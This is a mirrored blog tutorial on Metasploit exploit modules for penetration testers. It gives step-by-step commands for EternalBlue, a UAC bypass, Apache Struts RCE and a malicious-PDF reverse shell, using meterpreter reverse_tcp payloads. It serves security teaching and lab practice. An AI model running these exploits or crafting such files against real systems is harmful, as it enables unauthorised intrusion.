Title Metasploit modules guide. Exploit

- Category: CTI
- Source article: https://medium.com/@1200km/title-metasploit-modules-guide-exploit-73eecb50e3c3
- Published: 2024-11-24
- Preserved media: 11 image(s), including cover images, screenshots, diagrams, and infographics where present.
- Preserved technical blocks: 12 code/configuration block(s).
Ecosystem Fit
This page mirrors the original Medium article into the 1200km.com Docusaurus ecosystem. The original article flow, images, screenshots, infographics, and technical blocks are preserved from the export.
Complete Explanation of Exploit Mode in Metasploit

Introduction
Exploit modules in Metasploit are the backbone of offensive operations. These modules enable penetration testers to exploit known vulnerabilities in operating systems, applications, and network services. By leveraging these modules, testers can gain access to target systems, execute code remotely, and demonstrate the impact of identified vulnerabilities.
There are 2462 exploits in current version:

To view all available exploit modules in Metasploit, use the following command:
show
exploits

Standard Commands
Here are the essential commands for working with exploit modules:
- Search for an exploit module:
search
<
exploit name
/
cve
/
other
>
search
ms17_010

2. Use a specific exploit module by ID from list/Use a specific exploit module by name:
use
10

Or use a specific exploit module by name:
use <
module
name>

3. Display configuration options:
show
options

4. Set module parameters:
set <parameter name> <value>
set
RHOST <target IP/URL>
set
RPORT <target port>
set
LHOST <attacker IP>
set
DefangedMode
false

5. Run the exploit:
run
Exploit Module Categories
1. Remote Exploits
Purpose: Exploit vulnerabilities over a network to gain remote access. Examples:
- EternalBlue (MS17–010): Exploits SMBv1 vulnerability to gain remote access.
search ms17_010_eternalblue
use 0
show options
set
RHOSTS 192.168.126.150
set
LHOST 192.168.126.1
set
PAYLOAD windows/x64/meterpreter/reverse_tcp run
2. Local Exploits
Purpose: Escalate privileges or execute code on a compromised system. Examples:
- Windows UAC Bypass: Bypasses User Account Control (UAC) to execute privileged commands.
search bypassuac
use 0
set
SESSION 1
set
PAYLOAD windows/meterpreter/reverse_tcp
3. Web Application Exploits
Purpose: Target vulnerabilities in web applications. Examples:
- Apache Struts RCE: Exploits a remote code execution vulnerability in Apache Struts.
search
struts2_content_type_ognl
use
0
show
options
set
RHOST
192.168
.126
.140
set
RPORT
8080
set
PAYLOAD java
/
meterpreter
/
reverse_tcp
run


5. Client-Side Exploits
Purpose: Exploit vulnerabilities in client-side applications. Examples:
- Adobe Reader Buffer Overflow: Exploits a vulnerability in Adobe Reader to execute code.
search
adobe_pdf_embedded_exe

use 0
show options
set
FILENAME malicious.pdf
set
PAYLOAD windows/meterpreter/reverse_tcp
exploit
Send this file to target to gain reverse shell
6. Auxiliary-Driven Exploits
Combine auxiliary scanning with exploits to maximize success.
Tips for Using Exploit Modules
-
**Test in a Controlled Environment:**Always test exploits in isolated lab environments to avoid unintended harm.
-
**Verify Compatibility:**Ensure the exploit matches the target’s OS, version, and configuration.
-
**Chain Modules:**Combine auxiliary and exploit modules to improve success rates (e.g., scanning for vulnerabilities before exploiting).
-
**Use Metasploit Resources:**Explore Metasploit Unleashed for detailed documentation.
Next Steps
Practice these exploit modules on virtual labs such asHack The Box,TryHackMe, orMetasploitable.
Good luck!
Andrey Pautov 1200km@gmail.com